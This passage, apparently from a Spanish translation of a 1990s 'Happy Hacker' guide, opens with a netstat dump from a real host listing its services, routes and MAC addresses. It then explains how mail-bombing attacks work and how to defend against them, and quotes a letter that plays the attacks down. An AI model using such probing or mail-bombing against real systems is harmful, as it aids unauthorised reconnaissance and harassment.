TCP       0     0  GRANDE.NM.ORG(POP3)     164.64.201.67(1256)     ESTABLISHED

TCP       0     0  GRANDE.NM.ORG(4918)     129.121.254.5(TELNET)   ESTABLISHED

TCP       0     0  GRANDE.NM.ORG(TELNET)   AVATAR.NM.ORG(3141)     ESTABLISHED

TCP       0     0  *(NAMESERVICE)          *(*)                    LISTEN

TCP       0     0  *(TELNET)               *(*)                    LISTEN

TCP       0     0  *(FTP)                  *(*)                    LISTEN

TCP       0     0  *(FINGER)               *(*)                    LISTEN

TCP       0     0  *(NETSTAT)              *(*)                    LISTEN

TCP       0     0  *(SMTP)                 *(*)                    LISTEN

TCP       0     0  *(LOGIN)                *(*)                    LISTEN

TCP       0     0  *(SHELL)                *(*)                    LISTEN

TCP       0     0  *(EXEC)                 *(*)                    LISTEN

TCP       0     0  *(RPC)                  *(*)                    LISTEN

TCP       0     0  *(NETCONTROL)           *(*)                    LISTEN

TCP       0     0  *(SYSTAT)               *(*)                    LISTEN

TCP       0     0  *(CHARGEN)              *(*)                    LISTEN

TCP       0     0  *(DAYTIME)              *(*)                    LISTEN

TCP       0     0  *(TIME)                 *(*)                    LISTEN

TCP       0     0  *(ECHO)                 *(*)                    LISTEN

TCP       0     0  *(DISCARD)              *(*)                    LISTEN

TCP       0     0  *(PRINTER)              *(*)                    LISTEN

TCP       0     0  *(POP2)                 *(*)                    LISTEN

TCP       0     0  *(POP3)                 *(*)                    LISTEN

TCP       0     0  *(KERBEROS_MASTER)      *(*)                    LISTEN

TCP       0     0  *(KLOGIN)               *(*)                    LISTEN

TCP       0     0  *(KSHELL)               *(*)                    LISTEN

TCP       0     0  GRANDE.NM.ORG(4174)     OSO.NM.ORG(X11)         ESTABLISHED

TCP       0     0  GRANDE.NM.ORG(4172)     OSO.NM.ORG(X11)         ESTABLISHED

TCP       0     0  GRANDE.NM.ORG(4171)     OSO.NM.ORG(X11)         ESTABLISHED

TCP       0     0  *(FS)                   *(*)                    LISTEN

UDP       0     0  *(NAMESERVICE)          *(*)

UDP       0     0  127.0.0.1(NAMESERVICE)  *(*)

UDP       0     0  GRANDE.NM.OR(NAMESERV)  *(*)

UDP       0     0  *(TFTP)                 *(*)

UDP       0     0  *(BOOTPS)               *(*)

UDP       0     0  *(KERBEROS)             *(*)

UDP       0     0  127.0.0.1(KERBEROS)     *(*)

UDP       0     0  GRANDE.NM.OR(KERBEROS)  *(*)

UDP       0     0  *(*)                    *(*)

UDP       0     0  *(SNMP)                 *(*)

UDP       0     0  *(RPC)                  *(*)

UDP       0     0  *(DAYTIME)              *(*)

UDP       0     0  *(ECHO)                 *(*)

UDP       0     0  *(DISCARD)              *(*)

UDP       0     0  *(TIME)                 *(*)

UDP       0     0  *(CHARGEN)              *(*)

UDP       0     0  *(TALK)                 *(*)

UDP       0     0  *(NTALK)                *(*)

UDP       0     0  *(1023)                 *(*)

UDP       0     0  *(XDMCP)                *(*)

 

MultiNet registered RPC programs:

Program     Version   Protocol    Port

-------     -------   --------    ----

PORTMAP       2        TCP        111

PORTMAP       2        UDP        111

 

 

MultiNet IP Routing tables:

Destination      Gateway          Flags        Refcnt Use      Interface  MTU

----------       ----------       -----        ------ -----    ---------  ----

198.59.167.1     LAWRII.NM.ORG    Up,Gateway,H 0      2        se0        1500

166.45.0.1       ENSS365.NM.ORG   Up,Gateway,H 0      4162     se0        1500

205.138.138.1    ENSS365.NM.ORG   Up,Gateway,H 0      71       se0        1500

204.127.160.1    ENSS365.NM.ORG   Up,Gateway,H 0      298      se0        1500

127.0.0.1        127.0.0.1        Up,Host      5      1183513  lo0        4136

198.59.167.2     LAWRII.NM.ORG    Up,Gateway,H 0      640      se0        1500

192.132.89.2     ENSS365.NM.ORG   Up,Gateway,H 0      729      se0        1500

207.77.56.2      ENSS365.NM.ORG   Up,Gateway,H 0      5        se0        1500

204.97.213.2     ENSS365.NM.ORG   Up,Gateway,H 0      2641     se0        1500

194.90.74.66     ENSS365.NM.ORG   Up,Gateway,H 0      1        se0        1500

204.252.102.2    ENSS365.NM.ORG   Up,Gateway,H 0      109      se0        1500

205.160.243.2    ENSS365.NM.ORG   Up,Gateway,H 0      78       se0        1500

202.213.4.2      ENSS365.NM.ORG   Up,Gateway,H 0      4        se0        1500

202.216.224.66   ENSS365.NM.ORG   Up,Gateway,H 0      113      se0        1500

192.132.89.3     ENSS365.NM.ORG   Up,Gateway,H 0      1100     se0        1500

198.203.196.67   ENSS365.NM.ORG   Up,Gateway,H 0      385      se0        1500

160.205.13.3     ENSS365.NM.ORG   Up,Gateway,H 0      78       se0        1500

202.247.107.131  ENSS365.NM.ORG   Up,Gateway,H 0      19       se0        1500

198.59.167.4     LAWRII.NM.ORG    Up,Gateway,H 0      82       se0        1500

128.148.157.6    ENSS365.NM.ORG   Up,Gateway,H 0      198      se0        1500

160.45.10.6      ENSS365.NM.ORG   Up,Gateway,H 0      3        se0        1500

128.121.50.7     ENSS365.NM.ORG   Up,Gateway,H 0      3052     se0        1500

206.170.113.8    ENSS365.NM.ORG   Up,Gateway,H 0      1451     se0        1500

128.148.128.9    ENSS365.NM.ORG   Up,Gateway,H 0      1122     se0        1500

203.7.132.9      ENSS365.NM.ORG   Up,Gateway,H 0      14       se0        1500

204.216.57.10    ENSS365.NM.ORG   Up,Gateway,H 0      180      se0        1500

130.74.1.75      ENSS365.NM.ORG   Up,Gateway,H 0      10117    se0        1500

206.68.65.15     ENSS365.NM.ORG   Up,Gateway,H 0      249      se0        1500

129.219.13.81    ENSS365.NM.ORG   Up,Gateway,H 0      547      se0        1500

204.255.246.18   ENSS365.NM.ORG   Up,Gateway,H 0      1125     se0        1500

160.45.24.21     ENSS365.NM.ORG   Up,Gateway,H 0      97       se0        1500

206.28.168.21    ENSS365.NM.ORG   Up,Gateway,H 0      2093     se0        1500

163.179.3.222    ENSS365.NM.ORG   Up,Gateway,H 0      315      se0        1500

198.109.130.33   ENSS365.NM.ORG   Up,Gateway,H 0      1825     se0        1500

199.224.108.33   ENSS365.NM.ORG   Up,Gateway,H 0      11362    se0        1500

203.7.132.98     ENSS365.NM.ORG   Up,Gateway,H 0      73       se0        1500

198.111.253.35   ENSS365.NM.ORG   Up,Gateway,H 0      1134     se0        1500

206.149.24.100   ENSS365.NM.ORG   Up,Gateway,H 0      3397     se0        1500

165.212.105.106  ENSS365.NM.ORG   Up,Gateway,H 0      17       se0        1006

205.238.3.241    ENSS365.NM.ORG   Up,Gateway,H 0      69       se0        1500

198.49.44.242    ENSS365.NM.ORG   Up,Gateway,H 0      25       se0        1500

194.22.188.242   ENSS365.NM.ORG   Up,Gateway,H 0      20       se0        1500

164.64.0         LAWRII.NM.ORG    Up,Gateway   1      40377    se0        1500

0.0.0            ENSS365.NM.ORG   Up,Gateway   2      4728741  se0        1500

207.66.1         GLORY.NM.ORG     Up,Gateway   0      51       se0        1500

205.166.1        GLORY.NM.ORG     Up,Gateway   0      1978     se0        1500

204.134.1        LAWRII.NM.ORG    Up,Gateway   0      54       se0        1500

204.134.2        GLORY.NM.ORG     Up,Gateway   0      138      se0        1500

192.132.2        129.121.248.1    Up,Gateway   0      6345     se0        1500

204.134.67       GLORY.NM.ORG     Up,Gateway   0      2022     se0        1500

206.206.67       GLORY.NM.ORG     Up,Gateway   0      7778     se0        1500

206.206.68       LAWRII.NM.ORG    Up,Gateway   0      3185     se0        1500

207.66.5         GLORY.NM.ORG     Up,Gateway   0      626      se0        1500

204.134.69       GLORY.NM.ORG     Up,Gateway   0      7990     se0        1500

207.66.6         GLORY.NM.ORG     Up,Gateway   0      53       se0        1500

204.134.70       LAWRII.NM.ORG    Up,Gateway   0      18011    se0        1500

192.188.135      GLORY.NM.ORG     Up,Gateway   0      5        se0        1500

206.206.71       LAWRII.NM.ORG    Up,Gateway   0      2        se0        1500

204.134.7        GLORY.NM.ORG     Up,Gateway   0      38       se0        1500

199.89.135       GLORY.NM.ORG     Up,Gateway   0      99       se0        1500

198.59.136       LAWRII.NM.ORG    Up,Gateway   0      1293     se0        1500

204.134.9        GLORY.NM.ORG     Up,Gateway   0      21       se0        1500

204.134.73       GLORY.NM.ORG     Up,Gateway   0      59794    se0        1500

129.138.0        GLORY.NM.ORG     Up,Gateway   0      5262     se0        1500

192.92.10        LAWRII.NM.ORG    Up,Gateway   0      163      se0        1500

206.206.75       LAWRII.NM.ORG    Up,Gateway   0      604      se0        1500

207.66.13        GLORY.NM.ORG     Up,Gateway   0      1184     se0        1500

204.134.77       LAWRII.NM.ORG    Up,Gateway   0      3649     se0        1500

207.66.14        GLORY.NM.ORG     Up,Gateway   0      334      se0        1500

204.134.78       GLORY.NM.ORG     Up,Gateway   0      239      se0        1500

204.52.207       GLORY.NM.ORG     Up,Gateway   0      293      se0        1500

204.134.79       GLORY.NM.ORG     Up,Gateway   0      1294     se0        1500

192.160.144      LAWRII.NM.ORG    Up,Gateway   0      117      se0        1500

206.206.80       PENNY.NM.ORG     Up,Gateway   0      4663     se0        1500

204.134.80       GLORY.NM.ORG     Up,Gateway   0      91       se0        1500

198.99.209       LAWRII.NM.ORG    Up,Gateway   0      1136     se0        1500

207.66.17        GLORY.NM.ORG     Up,Gateway   0      24173    se0        1500

204.134.82       GLORY.NM.ORG     Up,Gateway   0      29766    se0        1500

192.41.211       GLORY.NM.ORG     Up,Gateway   0      155      se0        1500

192.189.147      LAWRII.NM.ORG    Up,Gateway   0      3133     se0        1500

204.134.84       PENNY.NM.ORG     Up,Gateway   0      189      se0        1500

204.134.87       LAWRII.NM.ORG    Up,Gateway   0      94       se0        1500

146.88.0         GLORY.NM.ORG     Up,Gateway   0      140      se0        1500

192.84.24        GLORY.NM.ORG     Up,Gateway   0      3530     se0        1500

204.134.88       LAWRII.NM.ORG    Up,Gateway   0      136      se0        1500

198.49.217       GLORY.NM.ORG     Up,Gateway   0      303      se0        1500

192.132.89       GLORY.NM.ORG     Up,Gateway   0      3513     se0        1500

198.176.219      GLORY.NM.ORG     Up,Gateway   0      1278     se0        1500

206.206.92       LAWRII.NM.ORG    Up,Gateway   0      1228     se0        1500

192.234.220      129.121.1.91     Up,Gateway   0      2337     se0        1500

204.134.92       LAWRII.NM.ORG    Up,Gateway   0      13995    se0        1500

198.59.157       LAWRII.NM.ORG    Up,Gateway   0      508      se0        1500

206.206.93       GLORY.NM.ORG     Up,Gateway   0      635      se0        1500

204.134.93       GLORY.NM.ORG     Up,Gateway   0      907      se0        1500

198.59.158       LAWRII.NM.ORG    Up,Gateway   0      14214    se0        1500

198.59.159       LAWRII.NM.ORG    Up,Gateway   0      1806     se0        1500

204.134.95       PENNY.NM.ORG     Up,Gateway   0      3644     se0        1500

206.206.96       GLORY.NM.ORG     Up,Gateway   0      990      se0        1500

206.206.161      LAWRII.NM.ORG    Up,Gateway   0      528      se0        1500

198.59.97        PENNY.NM.ORG     Up,Gateway   0      55       se0        1500

198.59.161       LAWRII.NM.ORG    Up,Gateway   0      497      se0        1500

192.207.226      GLORY.NM.ORG     Up,Gateway   0      93217    se0        1500

198.59.99        PENNY.NM.ORG     Up,Gateway   0      2        se0        1500

198.59.163       GLORY.NM.ORG     Up,Gateway   0      3379     se0        1500

192.133.100      LAWRII.NM.ORG    Up,Gateway   0      3649     se0        1500

204.134.100      GLORY.NM.ORG     Up,Gateway   0      8        se0        1500

128.165.0        PENNY.NM.ORG     Up,Gateway   0      15851    se0        1500

198.59.165       GLORY.NM.ORG     Up,Gateway   0      274      se0        1500

206.206.165      LAWRII.NM.ORG    Up,Gateway   0      167      se0        1500

206.206.102      GLORY.NM.ORG     Up,Gateway   0      5316     se0        1500

160.230.0        LAWRII.NM.ORG    Up,Gateway   0      19408    se0        1500

206.206.166      LAWRII.NM.ORG    Up,Gateway   0      1756     se0        1500

205.166.231      GLORY.NM.ORG     Up,Gateway   0      324      se0        1500

198.59.167       GLORY.NM.ORG     Up,Gateway   0      1568     se0        1500

206.206.103      GLORY.NM.ORG     Up,Gateway   0      3629     se0        1500

198.59.168       GLORY.NM.ORG     Up,Gateway   0      9063     se0        1500

206.206.104      GLORY.NM.ORG     Up,Gateway   0      7333     se0        1500

206.206.168      GLORY.NM.ORG     Up,Gateway   0      234      se0        1500

204.134.105      LAWRII.NM.ORG    Up,Gateway   0      4826     se0        1500

206.206.105      LAWRII.NM.ORG    Up,Gateway   0      422      se0        1500

204.134.41       LAWRII.NM.ORG    Up,Gateway   0      41782    se0        1500

206.206.169      GLORY.NM.ORG     Up,Gateway   0      5101     se0        1500

204.134.42       GLORY.NM.ORG     Up,Gateway   0      10761    se0        1500

206.206.170      GLORY.NM.ORG     Up,Gateway   0      916      se0        1500

198.49.44        GLORY.NM.ORG     Up,Gateway   0      3        se0        1500

198.59.108       GLORY.NM.ORG     Up,Gateway   0      2129     se0        1500

204.29.236       GLORY.NM.ORG     Up,Gateway   0      125      se0        1500

206.206.172      GLORY.NM.ORG     Up,Gateway   0      5839     se0        1500

204.134.108      GLORY.NM.ORG     Up,Gateway   0      3216     se0        1500

206.206.173      GLORY.NM.ORG     Up,Gateway   0      374      se0        1500

198.175.173      LAWRII.NM.ORG    Up,Gateway   0      6227     se0        1500

198.59.110       GLORY.NM.ORG     Up,Gateway   0      1797     se0        1500

198.51.238       GLORY.NM.ORG     Up,Gateway   0      1356     se0        1500

192.136.110      GLORY.NM.ORG     Up,Gateway   0      583      se0        1500

204.134.48       GLORY.NM.ORG     Up,Gateway   0      42       se0        1500

198.175.176      LAWRII.NM.ORG    Up,Gateway   0      32       se0        1500

206.206.114      LAWRII.NM.ORG    Up,Gateway   0      44       se0        1500

206.206.179      LAWRII.NM.ORG    Up,Gateway   0      14       se0        1500

198.59.179       PENNY.NM.ORG     Up,Gateway   0      222      se0        1500

198.59.115       GLORY.NM.ORG     Up,Gateway   1      132886   se0        1500

206.206.181      GLORY.NM.ORG     Up,Gateway   0      1354     se0        1500

206.206.182      SIENNA.NM.ORG    Up,Gateway   0      16       se0        1500

206.206.118      GLORY.NM.ORG     Up,Gateway   0      3423     se0        1500

206.206.119      GLORY.NM.ORG     Up,Gateway   0      282      se0        1500

206.206.183      SIENNA.NM.ORG    Up,Gateway   0      2473     se0        1500

143.120.0        LAWRII.NM.ORG    Up,Gateway   0      123533   se0        1500

206.206.184      GLORY.NM.ORG     Up,Gateway   0      1114     se0        1500

205.167.120      GLORY.NM.ORG     Up,Gateway   0      4202     se0        1500

206.206.121      GLORY.NM.ORG     Up,Gateway   1      71       se0        1500

129.121.0        GRANDE.NM.ORG    Up           12     21658599 se0        1500

204.134.122      GLORY.NM.ORG     Up,Gateway   0      195      se0        1500

204.134.58       GLORY.NM.ORG     Up,Gateway   0      7707     se0        1500

128.123.0        GLORY.NM.ORG     Up,Gateway   0      34416    se0        1500

204.134.59       GLORY.NM.ORG     Up,Gateway   0      1007     se0        1500

204.134.124      GLORY.NM.ORG     Up,Gateway   0      37160    se0        1500

206.206.124      LAWRII.NM.ORG    Up,Gateway   0      79       se0        1500

206.206.125      PENNY.NM.ORG     Up,Gateway   0      233359   se0        1500

204.134.126      GLORY.NM.ORG     Up,Gateway   0      497      se0        1500

206.206.126      LAWRII.NM.ORG    Up,Gateway   0      13644    se0        1500

204.69.190       GLORY.NM.ORG     Up,Gateway   0      4059     se0        1500

206.206.190      GLORY.NM.ORG     Up,Gateway   0      1630     se0        1500

204.134.127      GLORY.NM.ORG     Up,Gateway   0      45621    se0        1500

206.206.191      GLORY.NM.ORG     Up,Gateway   0      3574     se0        1500

 

MultiNet IPX Routing tables:

Destination      Gateway          Flags        Refcnt Use      Interface  MTU

----------       ----------       -----        ------ -----    ---------  ----

 

MultiNet ARP table:

Host Network Address                              Ethernet Address    Arp Flags

--------------------------------------------      ----------------    ---------

GLORY.NM.ORG (IP 129.121.1.4)                     AA:00:04:00:61:D0   Temporary

[UNKNOWN] (IP 129.121.251.1)                      00:C0:05:01:2C:D2   Temporary

NARANJO.NM.ORG (IP 129.121.1.56)                  08:00:87:04:9F:42   Temporary

CHAMA.NM.ORG (IP 129.121.1.8)                     AA:00:04:00:0C:D0   Temporary

[UNKNOWN] (IP 129.121.251.5)                      AA:00:04:00:D2:D0   Temporary

LAWRII.NM.ORG (IP 129.121.254.10)                 AA:00:04:00:5C:D0   Temporary

[UNKNOWN] (IP 129.121.1.91)                       00:C0:05:01:2C:D2   Temporary

BRAVO.NM.ORG (IP 129.121.1.6)                     AA:00:04:00:0B:D0   Temporary

PENNY.NM.ORG (IP 129.121.1.10)                    AA:00:04:00:5F:D0   Temporary

ARRIBA.NM.ORG (IP 129.121.1.14)                   08:00:2B:BC:C1:A7   Temporary

AZUL.NM.ORG (IP 129.121.1.51)                     08:00:87:00:A1:D3   Temporary

ENSS365.NM.ORG (IP 129.121.1.3)                   00:00:0C:51:EF:58   Temporary

AVATAR.NM.ORG (IP 129.121.254.1)                  08:00:5A:1D:52:0D   Temporary

[UNKNOWN] (IP 129.121.253.2)                      08:00:5A:47:4A:1D   Temporary

[UNKNOWN] (IP 129.121.254.5)                      00:C0:7B:5F:5F:80   Temporary

CONCHAS.NM.ORG (IP 129.121.1.11)                  08:00:5A:47:4A:1D   Temporary

[UNKNOWN] (IP 129.121.253.10)                     AA:00:04:00:4B:D0   Temporary

 

 

MultiNet Network Interface statistics:

Name  Mtu   Network     Address            Ipkts    Ierrs Opkts    Oerrs Collis

----  ---   -------     --------------     -----    ----- -----    ----- ------

se0   1500  129.121.0   GRANDE.NM.ORG      68422948 0     53492833 1     0

lo0   4136  127.0.0     127.0.0.1          1188191  0     1188191  0     0

 

MultiNet Protocol statistics:

          65264173 IP packets received

                22 IP packets smaller than minimum size

              6928 IP fragments received

                 4 IP fragments timed out

                34 IP received for unreachable destinations

            704140 ICMP error packets generated

              9667 ICMP opcodes out of range

              4170 Bad ICMP packet checksums

            734363 ICMP responses

            734363 ICMP "Echo" packets received

            734363 ICMP "Echo Reply" packets sent

             18339 ICMP "Echo Reply" packets received

            704140 ICMP "Destination Unreachable" packets sent

            451243 ICMP "Destination Unreachable" packets received

              1488 ICMP "Source Quench" packets received

            163911 ICMP "ReDirect" packets received

            189732 ICMP "Time Exceeded" packets received

            126966 TCP connections initiated

            233998 TCP connections established

            132611 TCP connections accepted

             67972 TCP connections dropped

             28182 embryonic TCP connections dropped

            269399 TCP connections closed

          10711838 TCP segments timed for RTT

          10505140 TCP segments updated RTT

           3927264 TCP delayed ACKs sent

               666 TCP connections dropped due to retransmit timeouts

            111040 TCP retransmit timeouts

              3136 TCP persist timeouts

                 9 TCP persist connection drops

             16850 TCP keepalive timeouts

              1195 TCP keepalive probes sent

             14392 TCP connections dropped due to keepalive timeouts

          28842663 TCP packets sent

          12714484 TCP data packets sent

        1206060086 TCP data bytes sent

             58321 TCP data packets retransmitted

          22144036 TCP data bytes retransmitted

           6802199 TCP ACK-only packets sent

              1502 TCP window probes sent

               483 TCP URG-only packets sent

           8906175 TCP Window-Update-only packets sent

            359509 TCP control packets sent

          38675084 TCP packets received

          28399363 TCP packets received in sequence

        1929418386 TCP bytes received in sequence

             25207 TCP packets with checksum errors

            273374 TCP packets were duplicates

         230525708 TCP bytes were duplicates

              3748 TCP packets had some duplicate bytes

            493214 TCP bytes were partial duplicates

           2317156 TCP packets were out of order

        3151204672 TCP bytes were out of order

              1915 TCP packets had data after window

            865443 TCP bytes were after window

              5804 TCP packets for already closed connection

               941 TCP packets were window probes

          10847459 TCP packets had ACKs

            222657 TCP packets had duplicate ACKs

                 1 TCP packet ACKed unsent data

        1200274739 TCP bytes ACKed

            141545 TCP packets had window updates

                13 TCP segments dropped due to PAWS

           4658158 TCP segments were predicted pure-ACKs

          24033756 TCP segments were predicted pure-data

           8087980 TCP PCB cache misses

               305 Bad UDP header checksums

                17 Bad UDP data length fields

          23772272 UDP PCB cache misses

 

MultiNet Buffer Statistics:

        388 out of 608 buffers in use:

                30 buffers allocated to Data.

                10 buffers allocated to Packet Headers.

                66 buffers allocated to Socket Structures.

                57 buffers allocated to Protocol Control Blocks.

                163 buffers allocated to Routing Table Entries.

                2 buffers allocated to Socket Names and Addresses.

                48 buffers allocated to Kernel Fork-Processes.

                2 buffers allocated to Interface Addresses.

                1 buffer allocated to Multicast Addresses.

                1 buffer allocated to Timeout Callbacks.

                6 buffers allocated to Memory Management.

                2 buffers allocated to Network TTY Control Blocks.

        11 out of 43 page clusters in use.

        11 CXBs borrowed from VMS device drivers

        2 CXBs waiting to return to the VMS device drivers

        162 Kbytes allocated to MultiNet buffers (44% in use).

        226 Kbytes of allocated buffer address space (0% of    maximum).

Connection closed by foreign host.

<slug> [68] ->

 

¡Fiu! ¿Qué era todo eso?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VOLUMEN 3

 

Cómo protegerse de los bombardeos de correo


¡Bombardeos de correo! Personas como "Angry Johnny" (Johnny el enfadado), alias "the Unamailer", han sido recientemente noticia por preparar 20 MBytes o más de correo electrónico -decenas de miles de mensajes- para inundar cada día las cuentas de correo electrónico de sus víctimas.

Los bombardeos de mensajes pueden ser problemáticos por dos razones. Una, la víctima no puede encontrar fácilmente el correo legítimo en su buzón entre la gran cantidad de correo spam no solicitado que recibe. Dos, el diluvio de mensajes bloquea los servidores de correo y se come el ancho de banda de la línea de comunicaciones.

Por supuesto, estas son las dos causas principales por las que se ataca con bombardeos de mensajes: para causar un desbarajuste en el correo de las personas y/o hacer daño a los proveedores de servicio del blanco. Los bombardeos de mensajes son una arma común utilizada en la guerra contra los servidores de Internet que albergan a spammers. También son utilizados por los perdedores resentidos.

Las noticias parecen dar a entender que las víctimas de bombardeos de mensajes son gente con falta de suerte. Pero no lo somos. Lo sabemos, porque "angry" -el atacante de Navidades-, dijo a la prensa que había atacado a Carolyn Meinel, la "Comandante Suprema" de la Lista de "Happy Hacker". (Alguien simultáneamente intentó atacar con mensajes bomba la lista Happy Hacker, pero nadie lo ha reivindicado).

Como puedes comprobar, después de haber superado el ataque a Happy Hacker, y visto que sigo contestando mi correo electrónico, hay maneras de deshacerse de los remitentes de bombardeos.

Pero la mayoría de estas técnicas sólo pueden ser usadas por expertos. Pero si tú eres, como la gran mayoría de esta lista, un novato, puedes ganar puntos con tu ISP si envías a su grupo de técnicos algo de la información que aparece en esta guía. Además puede que te perdone el que tu fichero de log sea con frecuencia demasiado excitante.

Mi primera línea de defensa es el uso de distintas cuentas. De este modo, cuando una cuenta está siendo atacada por hackers, bombardeada, etc. puedo mandar un correo electrónico a todos mis destinatarios y decirles dónde me pueden encontrar. Hasta ahora nunca me he visto bombardeada hasta tener que renunciar, pero he sido atacada por hackers tanto y con tanta frecuencia que incluso una vez tuve un disgusto con un ISP. O puede que un ISP se ponga demasiado nervioso con tus experimentos de hacking. Así que es una buena idea estar preparado para poder cambiar de cuenta.

Pero esa es una manera cobarde de atajar el problema del bombardeo de mensajes. Además, un miembro de la lista Happy Hacker dice que la razón por la que "Angry Johnny" no bombardeó todas las cuentas que uso normalmente es porque él le convenció para que sólo lo hiciera para obtener algo de publicidad. Pero incluso si Johnny hubiera bombardeado todas mis cuentas favoritas, me hubiera podido recuperar rápidamente.

Hay varias formas, que puedes utilizar tú, o tu ISP, de combatir los ataques.

La defensa más fácil es que tu ISP bloquee el bombardeo en el router. Esto funciona, en todo caso, si el ataque proviene de uno o pocos hosts. Además, solo funcionará si tu ISP quiere ayudarte. Puede que tu ISP simplemente se desentienda y cancele tu cuenta.


Nota para principiantes: Los routers son equipos especializados que se emplean para encaminar el tráfico de red. Un host es un ordenador conectado a Internet.


Pero, ¿qué pasa si el ataque procede desde muchos puntos?. Eso me pasó a mí el día de Navidad cuando "angry Johnny" se atribuyó un ataque que incluso afectó a algunas figuras conocidas de los EE.UU., como son el evangelista Billy Grahan, el presidente Bill Clinton y el portavoz del Congreso de Estados Unidos, Newt Gringrich (me aterra tener esta compañía).

La forma en que "Angry Johnny" atacó fue preparando un programa que fuera a un ordenador que mantuviera listas de correo y que automáticamente suscribiera a sus objetivos a todas las listas que mantuviera ese ordenador. Luego este programa se iría a otro ordenador que mantuviera listas de correo y suscribiría a sus objetivos a todas las listas y así continuamente.

Yo pude solucionar mi problema al poco tiempo después de descubrirlo. Johnny había suscrito todas estas listas a mi dirección de correo cmeinel@swcp.com. Pero yo utilizo mi dominio privado techbroker.com, para recibir el correo. Entonces redirigí todo el tráfico desde mi servidor de nombres en Highway Technologies a la cuenta que escogí en ese momento. Entonces, todo lo que tuve que hacer fue ir al sitio web de Highway Technologies y configurar mi servidor de correo para enviar el correo a otra cuenta.


Nota para principiantes: Un servidor de correo es un ordenador que se encarga del correo. Es un ordenador al que se conecta tu ordenador cuando recoges o envías tu correo.



Truco para genios malignos: Puedes redireccionar tu correo rápidamente creando un fichero en tu cuenta shell (tienes una cuenta shell ¿no? ¡Una cuenta shell! Todos los buenos hackers deberían tener una cuenta shell) llamado ".forward". Este fichero redireccionará tu correo electrónico a otra cuenta de correo que elijas.


Si "Angry Johnny" hubiera bombardeado cmeinel@techbroker.com, yo habría enviado todo el correo a /dev/null y hubiera pedido a todos los que me escriben que me escribieran a carolyn@techbroker.com, etc. Puede ser una manera fácil de manejar la situación. Mi cuenta swcp.com actúa del mismo modo. Ese ISP, Southwest Cyberport, ofrece a cada usuario varias cuentas por el mismo precio, basándose en el uso total. Así, puedo crear nuevas direcciones de correo según las necesite.

Atención: esta técnica -cada una de las técnicas que describimos aquí- no conseguirá evitar la perdida de algún mensaje. Pero ¿por qué obsesionarse con ello? De acuerdo con un estudio de una gran compañía de buscapersonas, un porcentaje importante de correos simplemente desaparece. Ningún servicio de correo avisa de que el mensaje ha fallado, nada. Simplemente desaparecen en un agujero negro. Así que si cuentas con recibir todos los mensajes que te envían, sigue soñando.

Pero eso no soluciona el problema de mi ISP. Continúan con el problema del ancho de banda de todo esa oleada. Y es mucho, mucho caudal. Uno de los administradores de Southwest Cyberport me dijo que casi todos los días algún pesado bombardeaba a alguno de sus clientes. De hecho, es asombroso que "Angry Johnny" obtuviera tanta publicidad, teniendo en cuenta lo común que es el bombardeo de correo. Por eso, todos los ISPs tienen que atajar el problema de los bombardeos de algún modo.

¿Cómo fue posible que "Angry Johnny" tuviera tanta publicidad como tuvo?. Puedes hacerte a la idea con esta carta de Lewis Koch, el periodista que destapó la historia (transcrita aquí con su permiso):


De: Lewis Z. Koch lzkoch@mcs.net
Asunto: Pregunta


Carolyn:

Primero, y puede que lo más importante, cuando te llamé para comprobar si habías sido bombardeada con mensajes, fuiste lo suficientemente cortés como para informarme. Me parece que es un poco presuntuoso de tu parte pensar que "por cortesía profesional voy a dejar a Lewis Koch enterarse de todo". Esta era una historia, de hecho, exclusiva.

(Nota de Carolyn: como víctima, yo sabía detalles técnicos acerca del ataque que Koch no sabía. Pero dado que Koch me dijo que estuvo en contacto con "Angry Johnny" en las semanas previas al ataque de las Navidades del 96, él claramente sabía mucho más que yo de la lista de objetivos de Johnny. Y aunque yo también soy periodista, pero le hice una concesión a Koch, y no intenté arrebatarle la exclusiva).

En segundo lugar, sí, yo soy subscriptor y estoy interesado en las ideas que adelantas. Pero ese interés no implica proporcionarte -o a otras personas o grupos- "un montón de detalles jugosos". Los detalles de cualquier historia se ven en lo escrito o en los comentarios que se dan al publico. "Jugosa" es otra palabra para el sensacionalismo, una planteamiento propio de la prensa amarilla - algo que evito.

(Nota de Carolyn: Si quieres ver qué fue lo que Koch escribió de "Angry Johnny", puedes leerlo en el Happy Hacker Digest del 28 de Diciembre de 1996.)

El caso es que estoy muy sorprendido por algunas de las reacciones individuales que he recibido de alguno de los que fueron objetivo y otros que fueron sólo espectadores.

El punto importante es que hay vulnerabilidades extraordinarias en la red -vulnerabilidades que se han ignorado- qque nos ponen en peligro.

Continuando: "Sin embargo, en la base de todo está que la técnica utilizada por el atacante fue ridículamente simple - tan simple que incluso Carolyn Meidel pudo cortar el ataque en unos pocos minutos. ¡Muérete en dev/null!"

Johnny puntualizó varias veces que el ataque era "simple". Fue diseñado deliberadamente para ser simple. Supongo -sé- que si él, u otros hackers hubieran decidido hacer daño, serio y real, podrían haberlo hecho fácilmente. Decidieron no hacerlo.

Una persona que fue atacada y estaba enfadada con mi reportaje, utilizaba palabras como "su campaña de terror", "la mente enrevesada de Johnny", "psicópatas como Johnny", "algún imbécil", "un macarra insignificante", etc. para describir a Johnny.

Este tipo de pensamiento ignora la historia y la realidad. Si alguien quiere utilizar un concepto como el de "campaña de terror" debería recordar la historia de Unabomber, o la del grupo que puso una bomba en el World Trade Center o en el Edificio Federal de Oklahoma... o ver lo que ha pasado en Israel o en Irlanda. Ahí uno encuentra "terrorismo".

Lo que pasó fue una inconveniencia, equivalente, en mi opinión, al mismo tipo de inconveniencia que se experimentó cuando la gente joven bloqueó las calles de las principales ciudades para protestar en contra de la guerra del Vietnam. La gente se sintió molesta, pero los que protestaban se manifestaban contra una guerra ilegal e innecesaria, e incluso los partidarios de la misma, como Robert McNamara, sabían desde el principio que era una batalla perdida. Cientos de miles de personas perdieron su vida en la guerra - y si alguien se sintió molesto porque se protestara contra ella, a j******. Muchas gracias por reenviar mis puntualizaciones a tu lista.


¡Ejem! Me siento adulada, supongo. ¿Está Koch sugiriendo que la lista Happy Hacker (y su costumbre de j**** tacos) y el evangelista Billy Grahan (cuya fe comparto) están al mismo nivel de noticias políticas comparables a la guerra del Vietnam?

Entonces digamos que no te agrada que cualquier aspirante a hacker de tres al cuarto te prive de recibir correo. ¿Qué más maneras hay de evitar el bombardeo de mensajes?

Para los bombardeos que utilizan listas de correo, una opción es preparar un programa que busque entre el montón inicial de mensajes los del tipo "¡Bienvenido a la lista de Tomato Twaddler!" que te dicen cómo borrarse de la lista. Estos programas entonces escriben automáticamente mensajes para borrarse y los envían.

